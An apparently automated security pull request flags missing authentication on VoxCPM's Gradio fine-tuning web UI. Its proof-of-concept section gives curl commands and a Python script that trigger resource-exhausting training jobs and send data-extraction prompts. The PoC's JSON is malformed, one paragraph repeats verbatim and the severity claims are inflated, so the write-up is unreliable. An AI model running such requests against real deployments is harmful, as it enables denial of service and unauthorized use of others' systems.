Skip to content

Conversation

@orbisai0security
Copy link

Security Fix

This PR addresses a CRITICAL severity vulnerability detected by our security scanner.

Security Impact Assessment

Aspect Rating Rationale
Impact Critical In the VoxCPM repository, the unprotected web interface in lora_ft_webui.py allows remote attackers to access model training and inference features without any barriers, potentially enabling complete system compromise through unauthorized model training with malicious data, inference on sensitive inputs, or resource exhaustion leading to denial of service on computational resources. As a multimodal model tool, this could result in data breaches or model poisoning affecting downstream applications.
Likelihood Medium The repository is an open-source project for multimodal AI models, likely deployed in research or development environments where the web UI might be exposed on local networks or cloud instances; attackers could scan for open ports, but exploitation requires the interface to be publicly accessible and the attacker to have motivation targeting this specific tool, which is not a high-profile target like a production web service.
Ease of Fix Medium Remediation involves integrating authentication and authorization mechanisms into the web UI framework (likely Gradio or similar used in lora_ft_webui.py), which may require updating dependencies, refactoring UI code to protect endpoints, and thorough testing to ensure no breaking changes in training or inference workflows.

Evidence: Proof-of-Concept Exploitation Demo

⚠️ For Educational/Security Awareness Only

This demonstration shows how the vulnerability could be exploited to help you understand its severity and prioritize remediation.

How This Vulnerability Can Be Exploited

The web interface in lora_ft_webui.py, built using Gradio, exposes endpoints for model training and inference without any authentication, allowing remote attackers to initiate resource-intensive tasks like fine-tuning large language models. An attacker with network access to the running application (e.g., if deployed on a server or exposed via port forwarding) can exploit this by sending crafted HTTP requests to trigger training jobs, potentially exhausting computational resources or manipulating model outputs. This demonstrates a direct attack vector where no login is required, leveraging the repository's reliance on Gradio's default unsecured setup for multimodal tasks.

The web interface in lora_ft_webui.py, built using Gradio, exposes endpoints for model training and inference without any authentication, allowing remote attackers to initiate resource-intensive tasks like fine-tuning large language models. An attacker with network access to the running application (e.g., if deployed on a server or exposed via port forwarding) can exploit this by sending crafted HTTP requests to trigger training jobs, potentially exhausting computational resources or manipulating model outputs. This demonstrates a direct attack vector where no login is required, leveraging the repository's reliance on Gradio's default unsecured setup for multimodal tasks.

# Assuming the web UI is running on localhost:7860 (common for Gradio apps in this repository; adjust IP/port if deployed remotely)
# Step 1: Check if the interface is accessible (no auth required)
curl -X GET http://localhost:7860/

# Step 2: Inspect available endpoints (Gradio exposes API routes for components like training buttons)
# Use browser dev tools or curl to discover routes, e.g., /run/predict or similar for training/inference
# Example: If the UI has a "Start Training" button, it might map to a POST endpoint like /run/predict with JSON payload

# Step 3: Exploit by sending a malicious training request
# Craft a payload to start a LoRA fine-tuning job with arbitrary parameters (e.g., large dataset to cause DoS)
curl -X POST http://localhost:7860/run/predict \
  -H "Content-Type: application/json" \
  -d '{
    "data": [
      "path/to/large/dataset",  # Attacker specifies a dataset path or uploads one if allowed
      "lora_config": {"rank": 64, "alpha": 32},  # Fine-tuning parameters
      "model_name": "voxcpm-base",  # Repository-specific model from VoxCPM
      "epochs": 1000  # Excessive epochs to exhaust GPU/CPU resources
    ],
    "fn_index": 0  # Index of the training function in Gradio (inspect via /config or trial/error)
  }'
# This could trigger training, consuming resources without owner consent.

# Step 4: For inference exploitation, send queries to generate outputs (e.g., leak sensitive data if prompted)
curl -X POST http://localhost:7860/run/predict \
  -H "Content-Type: application/json" \
  -d '{
    "data": ["Generate a summary of all user data in the system."],  # Malicious prompt
    "fn_index": 1  # Index for inference function
  }'
# Python script for automated exploitation (requires requests library)
import requests

# Target the running VoxCPM web UI (replace with actual host/port)
base_url = "http://localhost:7860"

# Function to start malicious training (DoS via resource exhaustion)
def exploit_training():
    payload = {
        "data": [
            "/path/to/malicious/dataset",  # Attacker-controlled dataset, e.g., uploaded via UI file input
            {"rank": 128, "alpha": 64},  # High-resource LoRA config
            "voxcpm-multimodal",  # Specific to repository's model
            5000  # Excessive iterations
        ],
        "fn_index": 0  # Gradio function index for training (verify via /config endpoint)
    }
    response = requests.post(f"{base_url}/run/predict", json=payload)
    print(f"Training started: {response.status_code} - {response.text}")

# Function to exploit inference for data leakage
def exploit_inference():
    payload = {
        "data": ["Extract and output all API keys or sensitive prompts from the model."],
        "fn_index": 1  # Inference function index
    }
    response = requests.post(f"{base_url}/run/predict", json=payload)
    print(f"Inference result: {response.json()}")  # Could leak data if model is trained on sensitive info

# Run exploits
exploit_training()
exploit_inference()

Exploitation Impact Assessment

Impact Category Severity Description
Data Exposure High Attackers could access and exfiltrate trained models, inference outputs, or underlying datasets (e.g., multimodal data like images/audio used in VoxCPM training). If the model is fine-tuned on sensitive user data, prompts could leak private information such as API keys, personal conversations, or proprietary research data stored in the repository's data directories.
System Compromise Medium While direct code execution isn't enabled, attackers could upload malicious datasets or prompts that trigger resource-heavy computations, potentially leading to arbitrary code execution if the Gradio app has unpatched dependencies (e.g., via model loading libraries like Transformers). Limited to user-level access on the host running the app, but could escalate if combined with other vulnerabilities in the deployment environment.
Operational Impact High Unrestricted training requests could exhaust GPU/CPU resources, causing denial-of-service for legitimate users (e.g., the repository owner). Long-running jobs might crash the system or require manual intervention, disrupting model development workflows and leading to data loss if training is interrupted mid-process.
Compliance Risk High Violates OWASP Top 10 A01:2021 (Broken Access Control) and could breach GDPR if handling EU user data in multimodal inputs (e.g., personal images/audio). Fails security standards like CIS Benchmarks for web applications, risking audit failures in AI/ML deployments where data privacy is critical.

Vulnerability Details

  • Rule ID: V-001
  • File: lora_ft_webui.py
  • Description: The web interface, which provides powerful features like model training and inference, is completely unprotected by any authentication or authorization mechanism. The architectural scan confirmed the absence of any login or access control system.

Changes Made

This automated fix addresses the vulnerability by applying security best practices.

Files Modified

  • README.md
  • app.py
  • lora_ft_webui.py

Verification

This fix has been automatically verified through:

  • ✅ Build verification
  • ✅ Scanner re-scan
  • ✅ LLM code review

🤖 This PR was automatically generated.

Automatically generated security fix
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant